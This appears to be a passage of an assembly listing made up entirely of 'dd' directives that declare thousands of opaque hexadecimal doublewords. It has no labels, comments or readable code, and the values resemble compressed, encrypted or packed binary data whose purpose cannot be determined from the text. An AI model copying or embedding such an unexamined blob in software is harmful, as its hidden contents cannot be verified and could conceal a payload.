dd 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h, 0C74A8B28h
dd 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h, 2071740Ah
dd 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h, 0CBC70D14h
dd 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h, 1C6CEFh
dd 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh, 0EE3AE1B5h
dd 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h, 0D875CBC9h
dd 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh, 52E22C92h
dd 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h, 0F53B1700h
dd 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h, 0A7B052B2h
dd 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh, 9007D0Eh
dd 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh, 0C20146F0h
dd 6900E8ECh, 1505ED39h
dd 0FE388934h, 65C31FBDh, 6581E542h, 0E0A00E6Eh, 2B00DE8Bh
dd 81E41C5Dh, 714FBh, 646885BDh, 162F8629h, 8AEAAC00h
dd 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh, 5F9E9F68h
dd 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h, 324638h
dd 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h
dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh
dd 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h
dd 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh
dd 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh
dd 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h
dd 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh
dd 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch
dd 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h
dd 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h
dd 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah
dd 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh
dd 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh
dd 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh
dd 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh
dd 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh
dd 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h
dd 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h
dd 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h
dd 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch
dd 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h
dd 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h
dd 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh
dd 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h, 0E910D137h
dd 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h
dd 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h
dd 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h
dd 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch
dd 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h
dd 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h
dd 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h
dd 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh
dd 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h, 70965534h
dd 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh
dd 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h
dd 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h
dd 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh
dd 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h
dd 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h
dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h
dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h
dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h
dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h
dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h
dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h
dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h
dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h
dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h
dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h
dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h
dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h
dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h
dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h
dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h
dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h
dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h
dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h
dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh
dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h
dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh
dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh
dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h
dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h
dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h
dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh
dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h
dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
dd 0D57756A2h, 0A328E853h
dd 0EA43D00h, 0B0744301h, 0E3BF0092h, 90AD9344h, 840080F3h
dd 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h, 27038C3h
dd 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h, 0BE433D23h
dd 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh, 0D2077844h
dd 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h, 0CA201FF3h
dd 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h, 0ACB0A943h
dd 84258Ah, 5419A457h, 4D68809h, 0BA442039h, 7826DC5Ah
dd 85CCC00h, 97948C9Ch, 80960041h, 14819844h, 38000988h
dd 1C08119Ah, 467FE8h, 109BB802h, 29A27436h, 8F32093Eh
dd 0C7A6219Ah, 0F830C458h, 0E9006C3h, 0C605111h, 87B009A0h
dd 460410Eh, 7171860h, 0A13600E8h, 8C1B0C02h, 1A00DC10h
dd 21CCB408h, 0EAD40984h, 3A47519h, 201F4050h, 0D8F38088h
dd 23D0F0DFh, 1100A081h, 4022E34h, 0E82F7C22h, 5446004Ch
dd 9C49932h, 800516Ch, 22A4913Ch, 5C2074h, 942C4457h, 0F8116489h
dd 0BC026600h, 6239DC26h, 100900ACh, 52E00353h, 5A0E7933h
dd 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h, 0A8086164h
dd 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h, 980870C8h
dd 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h, 21F96050h
dd 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h, 0BE2330h
dd 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh, 7A6359ACh
dd 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h, 0A021B15Eh
dd 3026295h, 4C70253Ch, 0A8D1409Ch, 50437089h, 2007657Eh
dd 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h, 6DFC2212h
dd 20462C00h, 0C64B972h, 58755171h, 810AA3B8h, 0D5891744h
dd 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h, 4707E817h
dd 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh, 1C32007Ch
dd 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h, 821000Ch
dd 32032480h, 52E048E6h, 746E7500h, 20656D69h, 0E27200E4h
dd 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h, 80112DBFh
dd 80191B57h, 0B5413938h, 57805E5Ch, 0DEC0120h, 0A00A1D55h
dd 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h, 1FC1F927h
dd 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh, 6C00A466h
dd 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch, 4C185B66h
dd 7C006F74h, 128C8984h, 9C092494h, 8791A448h, 0BCF3B475h
dd 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h, 0C5C0140h
dd 1C121489h, 2C48C424h, 22349107h, 4C17443Ch, 0F81754F1h
dd 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h, 0BC80E5BDh
dd 5390408h, 8E641C00h, 6A236547h, 5FA83E89h, 48605403h
dd 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h, 46801Ch
dd 88E02363h, 38C46494h, 1FEC7200h, 306548E2h, 8C5E00F0h
dd 11660423h, 100D560h, 37842A93h, 0E500D14h, 4B4A4847h
dd 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah, 454104ECh
dd 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh, 0AF6E5A6Dh
dd 74052F00h, 17A7877h, 61200176h, 606F6965h, 9160B998h
dd 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh, 0E0315132h
dd 71B09840h, 9EB0FFh, 0C8101101h, 30912009h, 44312200h
dd 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh, 19F3F0F2h
dd 4520A490h, 1D2B90B8h, 0C0F822D4h, 3C45581Ch, 741724DEh
dd 30408C48h, 0ECD444BCh, 59040288h, 34121881h, 6420FA8Eh
dd 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh
dd 6B707AFEh, 4B3E1D00h, 0AF51C049h, 391A1CB6h, 931500F4h
dd 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h, 86B8E4h
dd 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h, 601DB413h, 0F820006Ch
dd 0A4225027h, 24009B03h, 41659885h, 0F95018Fh, 728409E8h
dd 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h, 7CA3F003h
dd 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h, 70EC09E0h
dd 0BA740D4h, 0F849CCC8h, 90D7A287h, 0AD0A802Ch, 4A96C06h
dd 3E60A5FEh, 248EA838h, 68E35409h, 84B87412h, 0B5A89048h
dd 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch, 0B35A0350h
dd 0D2C08A24h, 3E08B590h, 152981Eh, 3020779h, 6020504h
dd 0A266007h, 0D0C0E0Bh, 10400E0Fh, 7894389Ch, 0A403BEBAh
dd 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh, 105C030Eh
dd 0E09B0E34h, 2001C0ACh, 90E61294h, 0A8021376h, 1A6C3616h
dd 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh, 0A024B1D7h
dd 0C826E488h, 7A279924h, 20192801h, 6E8954D9h, 3B003160h
dd 10012E34h, 3C033F1Eh, 0E0EC118Fh, 0B0023308h, 34483E22h
dd 2F6892h, 2C36317Dh, 9009937h, 0C1399032h, 1EC4023Bh
dd 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh, 37714B0h
dd 639C1864h, 0E9B03038h, 311FDC73h, 700019D4h, 785DD9BEh
dd 0F284E89Eh, 20AE0004h, 79CC6398h, 0C4CA2E4h, 4411003Fh
dd 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h
dd 3652400h, 0C4793310h, 4807519h, 0DC592CB1h, 12218022h
dd 422486E0h, 0D200B088h, 5C809219h, 9300053h, 3C247214h
dd 89161260h, 6003992Ch, 0A8A5D481h, 0E2195C2Eh, 442000Ch
dd 9948515Ah, 0D07411BCh, 0F9C4B93Ah, 26D9A500h, 65193440h
dd 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh, 366AC2Ah
dd 41500998h, 8DC057F7h, 0D9F82808h, 49145900h, 9FB4298Ch
dd 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h, 54C1D939h
dd 91282999h, 0F0C2C07Bh, 250CA49Eh, 129CC419h, 32BF00E0h
dd 0A514387Bh, 1B584CACh, 69C6015Ah, 885BC33h, 1134F8h
dd 0D8A4F904h, 1C94A9DCh, 4C619901h, 49883C09h, 0C9083F2h
dd 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h, 3FB4C841h
dd 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h, 5CE090B0h
dd 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h, 94B059F2h
dd 70C00C84h, 2390B199h, 995AC00h, 74329CDCh, 258C0261h
dd 20D84C2Ch, 90A4B740h, 0C6FC9600h, 786A59C0h, 0D7011E41h
dd 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h, 1800869Eh
dd 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h, 8FEC978Dh
dd 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh, 9CC8B047h
dd 0DAF13CC0h, 2C08019Bh, 3F961E93h, 1EC41093h, 0FA1887ADh
dd 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h, 0F22202E2h
dd 400CFE44h, 32896A60h, 2425127Fh, 9FA07554h, 0A290447Eh
dd 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh
dd 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh
dd 1973870Ah, 0C03611D2h, 302944CAh, 807D1452h, 5B89053h
dd 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h, 27B83411h
dd 4C00427Eh, 64445822h, 0C020A672h, 0B889A884h, 2430CC12h
dd 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h, 3BC0897Ah
dd 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh, 1226810Ch
dd 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh, 0FEFEF297h
dd 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h, 107DA686h
dd 89BAA805h, 0D19013CAh, 259BE0F0h, 7F800E81h, 914E483Ah
dd 6E03607Fh
dd 898C8044h, 0F8AEFB9Ch, 70154C8h, 0BF08E429h, 1E11C023h
dd 0AEA22C32h, 4F64EDA4h, 3E7E2C74h, 0A612009Ah, 3430B025h
dd 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h, 7487473Eh
dd 0C9789Dh, 0E66ECE1Eh, 1C0C6854h, 49646117h, 446DD300h
dd 0F83046h, 69757243h, 617B63E4h, 0EB537E00h, 6E6F108Ch
dd 0CA4C2E31h, 56170067h, 7EDA45E0h, 1895B000h, 27B6499Dh
dd 7AFC0124h, 566735A5h, 75EC43F7h, 0EC46FE00h, 41A20E34h
dd 6F960382h, 0D5E8C663h, 19DA1CD0h, 0A6001AF4h, 0CA51742Ah
dd 1079E4h, 64695706h, 61683EBCh, 0D0548325h, 1D6C00F1h
dd 287942B8h, 0C03AE34h, 98212ED5h, 7773F02Dh, 0DAA00074h
dd 4CE1416Eh, 3E00630Ch, 87FD7970h, 17AD23Dh, 18740648h
dd 0CB726269h, 612445F1h, 32E9CCB4h, 899B1D00h, 531223EDh
dd 88BA0097h, 0AE27094h, 417C6F66h, 72504300h, 64713E7Bh
dd 735200CEh, 4DC73634h, 8700FA6Fh, 61488E3Fh, 0CF96Eh
dd 18144F41h, 4E086946h, 6D0057F8h, 565A5216h, 0F412544Dh
dd 459403A0h, 0E4A6DC72h, 6DD35390h, 0A3938E00h, 3552A59Ah
dd 751B3F25h, 2C0E1900h, 0ED08BE64h, 4D18B0E8h, 419C426Ah
dd 0FA730032h, 0D33EC72Ah, 9900569Dh, 0A98A5724h, 0F19B080h
dd 0A6686E55h, 46B2E7C0h, 440E703Ch, 0C033DA99h, 145374A4h
dd 501A0926h, 0B800946Fh, 4F5C4562h, 3D9A6600h, 8CFFE0C3h
dd 0D4770082h, 1F490CD3h, 7B041857h, 52F0ABF3h, 0A23066C0h
dd 90C6B864h, 2DA100A0h, 227AD153h, 79288A4Eh, 6D0096BCh
dd 0E97E6954h, 0F8C44F1Eh, 43220070h, 38527A4Bh, 0D47194D9h
dd 75CC4900h, 0CA9B7214h, 324B0367h, 0BE406279h, 3AA664D0h
dd 3501917Dh, 6EEF05EEh, 4DE80A67h, 619E00FFh, 6F428ABAh
dd 0A6024878h, 7D4E9F11h, 0C80943B6h, 3F29767Bh, 4AA46970h
dd 326700F2h, 9143565Ch, 20E4D00h, 9A4F29D9h, 0C06E39A6h
dd 21D41300h, 8723DB89h, 58A7A00h, 29747561h, 70B50740h
dd 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h, 0A0986F16h, 64534977h
dd 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h, 0BBC7E5B0h
dd 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah, 9100B8E8h
dd 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh, 9FE1B400h
dd 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h, 0E2CF5300h
dd 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h, 4C11A07Ah
dd 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh, 772636B7h
dd 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h, 42EC49C3h
dd 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h, 10946BF3h
dd 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h, 6D0ECCC7h
dd 330114F2h, 5622D687h, 0E0403141h, 149738Bh, 0A85D261Dh
dd 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh, 8ACB0095h
dd 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h, 73F70DAh
dd 41256361h, 0F22EC097h, 5D005051h, 93C077A2h, 0F4431923h
dd 219B0FE7h, 4480587Ah, 696F76FCh, 24DF3E00h, 5288369Eh
dd 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h, 9DF4085Ch
dd 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h, 8002574Ah
dd 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h, 0D5004967h
dd 252366EDh, 38699FA0h, 9480B970h, 0A276B444h, 0D1FC426h
dd 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h, 8FA6C241h
dd 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h, 0FD80D484h
dd 70412032h, 2990A605h, 41C0BAACh, 9C9BA8h, 672A3EC8h
dd 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh, 0EA5DA895h
dd 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h, 0F3E63CA1h
dd 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h, 3795CD77h
dd 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h, 6C42AA43h
dd 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h, 5C6521BAh
dd 8E1D680Bh, 0D025000Ah, 7D6FAB26h, 981A0C7Dh, 868B1A5h
dd 1FD6B701h, 2552EB7Eh, 858630h, 18547078h, 0DE6E95C4h
dd 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h, 0D501299Ch
dd 1A55B70h, 7000F4D7h, 6E48E010h, 70801h, 2C270C30h, 3C673847h
dd 0A7408700h, 0E748C744h, 0E850E44Ch, 0F062EC54h, 0F872F46Ah
dd 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah, 0FCB2FCAAh, 0FCC2FCBAh
dd 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh, 2E100FAh, 12C90A31h
dd 0D93D1AD1h, 0E92A0022h, 0F93AF132h, 0E84AE442h, 0F05AEC52h
dd 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h, 0FC9AFC92h, 0FCAAFCA2h
dd 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h, 96ACF8h, 7616740Eh
dd 327781Eh, 507C487Ah, 0BF90B87Eh, 3477071Ch, 80CD9D3Ah
dd 27263513h, 7E0479Ch, 55362161h, 7CD150C9h, 37000FD8h
dd 9A385E1Ch, 1DB79Dh, 1ECD9EC2h, 1FDF9FD5h, 0F300E974h
dd 0F390987h, 15471D27h, 0B43A6730h, 0AEC74E14h, 6E2A5C39h
dd 7A8978ACh, 7E9D7C95h, 7EAE7EA8h, 54C17EBBh, 0FCECA4DBh
dd 7EE14F6h, 1700E03Ah, 2E672847h, 0A70A3687h, 0DA57C740h
dd 9B14839Dh, 0C652CAh, 303B1AE1h, 0D17FC9h, 0E0BDD99Fh
dd 0DC723CCFh, 3D0F1C00h, 1D2E9D15h, 409E0037h, 549F4B1Eh
dd 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h, 3E79870Ah, 0A2809697h
dd 143F0E61h, 0D12400C9h, 0E172D92Dh, 9107E97Bh, 0BBF9AFF1h
dd 0CF00C325h, 872083FBh, 8CC0007h, 3A309C3Bh, 1D00649Dh
dd 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh, 0A603A03Ch, 324FB992h
dd 0E6BC39h, 3118C3EEh, 3EFE971Eh, 5401488Eh, 73495C0Fh
dd 0C492F924h, 4600CA10h, 1CFC7E0Eh, 343202h, 761D589Dh
dd 8C1E869Eh, 1F949F0Eh, 87F980EEh, 3083302h, 21471827h
dd 0F0017267h, 93C789A7h, 0A1C999E7h, 0AD67CFD3h, 0BEA0B487h
dd 3465E1h, 0D1ABC98Dh, 0E0BFD9B7h, 72351900h, 7627741Fh
dd 6278014Ah, 3F368349h, 0D0C9C9B5h, 93000ED7h, 0A243B237h
dd 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h, 0EDF0CF01h, 3B5003F4h
dd 69F12FE1h, 0EF3F0h, 663D4A3Ch, 0AE8E9A4Eh, 3E2CF00h
dd 93283E0Ah, 98A3036Bh, 0D3C3A1B3h, 11E0DC88h, 0AA393F00h
dd 850C62D4h, 498000C8h, 12A71DCCh, 5E07C735h, 998767E7h
dd 0FC1BF90h, 0C8533B31h, 0CF19ABC8h, 0D9338E74h, 7649D840h
dd 7F785400h, 0DF7C947Ah, 1CF2007Eh, 9D3C3406h, 52001D4Ch
dd 5E1E589Eh, 901F649Fh, 7873762Bh, 0F4915483h, 0F8BCFCB3h
dd 1B8700C3h, 39272035h, 673D4447h, 0A757004Ch, 0E76FC769h
dd 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h, 9AE8FCE3h, 3604003Ch
dd 0D117C909h, 0CA00D9BEh, 503AFBE0h, 4080C4h, 0C3146C81h
dd 0A7934A92h, 0B2B6A301h, 643203CFh, 0C9E4ABE5h, 39BA00B3h
dd 0E05016D9h, 0FD1EE4E7h, 368040E8h, 0E6A12A56h, 76F20074h
dd 380B1CF9h, 32009D29h, 459E3E1Dh, 87E21Eh, 27B7398Eh
dd 61C547BEh, 0BF3A8400h, 723B0EC8h, 0EC7400B9h, 0AF3C051Ch
dd 3D008887h, 3E1821BAh, 0E0C953h, 9D9F8D1h, 0E83CC024h
dd 56EC4D00h, 50CB98F1h, 28C1206h, 345E00C3h, 0A33A9333h
dd 53B3441Eh, 67D35DC0h, 0F279E3h, 0A9C0A78Fh, 6093B0E4h
dd 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh, 0F71FED9Fh, 1F0FB80h
dd 0E40535h, 920FE80Bh, 7C2C7A74h, 3B49361Dh, 4E543F8Eh
dd 0CF6B8E5Eh
dd 4F8A0F82h, 0CF9A8F92h, 0CFAACFA2h, 0C0C4CFB2h, 0D6012AF5h
dd 763B0074h, 7A687843h, 7E717C70h, 9E758473h, 0D279AF77h
dd 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh, 1E489E43h
dd 87675584h, 678647B5h, 0AF96878Eh, 9F1E1FF3h, 9FB61FAEh
dd 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh, 80F61FFFh, 380687FEh
dd 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh, 56404ECFh
dd 661A0FD6h, 76F46EF0h, 0CA0E7EF8h, 2E3FFC86h, 0AE9E6E96h
dd 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h, 0CFEECFE6h
dd 0EFEC1F6h, 4ECC3906h, 1E8E0016h, 2E0F26CFh, 8F00364Fh
dd 2746CB3Eh, 14E75638h, 0F466E55Eh, 7EF27603h, 0F9D92EC9h
dd 6406C8F4h, 0E8142C01h, 0F024EC1Ch, 0E1190DCh, 44FC3CF8h
